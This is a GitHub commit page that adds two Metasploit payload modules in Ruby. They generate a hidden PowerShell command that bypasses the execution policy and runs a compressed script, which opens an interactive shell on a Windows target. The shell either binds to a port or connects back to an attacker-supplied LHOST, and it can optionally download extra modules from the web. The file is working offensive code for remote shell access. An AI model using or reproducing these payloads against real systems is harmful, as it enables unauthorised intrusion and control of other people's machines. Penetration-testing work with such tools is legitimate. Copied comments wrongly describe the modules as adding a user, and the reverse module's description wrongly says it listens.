Skip to content

Commit a02ea90

Browse files
benpturnerbenpturner
committed
New payloads which work with cmd
1 parent aa4dc78 commit a02ea90

File tree

2 files changed

+170
-0
lines changed

2 files changed

+170
-0
lines changed

‎modules/payloads/singles/windows/powershell_bind_tcp.rb

Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/payload/windows/exec'
8+
require 'msf/base/sessions/powershell'
9+
###
10+
#
11+
# Extends the Exec payload to add a new user.
12+
#
13+
###
14+
module Metasploit3
15+
16+
CachedSize = 1455
17+
18+
include Msf::Payload::Windows::Exec
19+
include Rex::Powershell::Command
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
24+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
25+
'Author' =>
26+
[
27+
'Ben Turner', # benpturner
28+
'Dave Hardy' # davehardy20
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'win',
36+
'Arch' => ARCH_X86,
37+
'Handler' => Msf::Handler::BindTcp,
38+
'Session' => Msf::Sessions::PowerShell,
39+
))
40+
41+
# Register command execution options
42+
register_options(
43+
[
44+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
45+
], self.class)
46+
# Hide the CMD option...this is kinda ugly
47+
deregister_options('CMD')
48+
end
49+
50+
#
51+
# Override the exec command string
52+
#
53+
def command_string
54+
lport = datastore['LPORT']
55+
56+
template_path = File.join(
57+
Msf::Config.data_directory,
58+
'exploits',
59+
'powershell',
60+
'powerfun.ps1')
61+
62+
script_in = File.read(template_path)
63+
script_in << "\npowerfun -Command bind"
64+
65+
mods = ''
66+
67+
if datastore['LOAD_MODULES']
68+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
69+
mods_array.collect(&:strip)
70+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
71+
mods_array.each {|m| vprint_good " #{m}"}
72+
mods = "\"#{mods_array.join("\",\n\"")}\""
73+
script_in << " -Download true\n"
74+
end
75+
76+
script_in.gsub!('MODULES_REPLACE', mods)
77+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
78+
# Base64 encode the compressed file contents
79+
script = Rex::Powershell::Command.compress_script(script_in)
80+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
81+
82+
end
83+
end
84+

‎modules/payloads/singles/windows/powershell_reverse_tcp.rb

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/payload/windows/exec'
8+
require 'msf/base/sessions/powershell'
9+
###
10+
#
11+
# Extends the Exec payload to add a new user.
12+
#
13+
###
14+
module Metasploit3
15+
16+
CachedSize = 1439
17+
18+
include Msf::Payload::Windows::Exec
19+
include Rex::Powershell::Command
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
24+
'Description' => 'Listen for a connection and spawn an interactive powershell session',
25+
'Author' =>
26+
[
27+
'Ben Turner', # benpturner
28+
'Dave Hardy' # davehardy20
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'win',
36+
'Arch' => ARCH_X86,
37+
'Handler' => Msf::Handler::ReverseTcp,
38+
'Session' => Msf::Sessions::PowerShell,
39+
))
40+
41+
# Register command execution options
42+
register_options(
43+
[
44+
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
45+
], self.class)
46+
# Hide the CMD option...this is kinda ugly
47+
deregister_options('CMD')
48+
end
49+
50+
#
51+
# Override the exec command string
52+
#
53+
def command_string
54+
lport = datastore['LPORT']
55+
lhost = datastore['LHOST']
56+
57+
template_path = File.join(
58+
Msf::Config.data_directory,
59+
'exploits',
60+
'powershell',
61+
'powerfun.ps1')
62+
63+
script_in = File.read(template_path)
64+
script_in << "\npowerfun -Command reverse"
65+
66+
mods = ''
67+
68+
if datastore['LOAD_MODULES']
69+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
70+
mods_array.collect(&:strip)
71+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
72+
mods_array.each {|m| vprint_good " #{m}"}
73+
mods = "\"#{mods_array.join("\",\n\"")}\""
74+
script_in << " -Download true\n"
75+
end
76+
77+
script_in.gsub!('MODULES_REPLACE', mods)
78+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
79+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
80+
# Base64 encode the compressed file contents
81+
script = Rex::Powershell::Command.compress_script(script_in)
82+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
83+
84+
end
85+
end
86+

0 commit comments

Comments
 (0)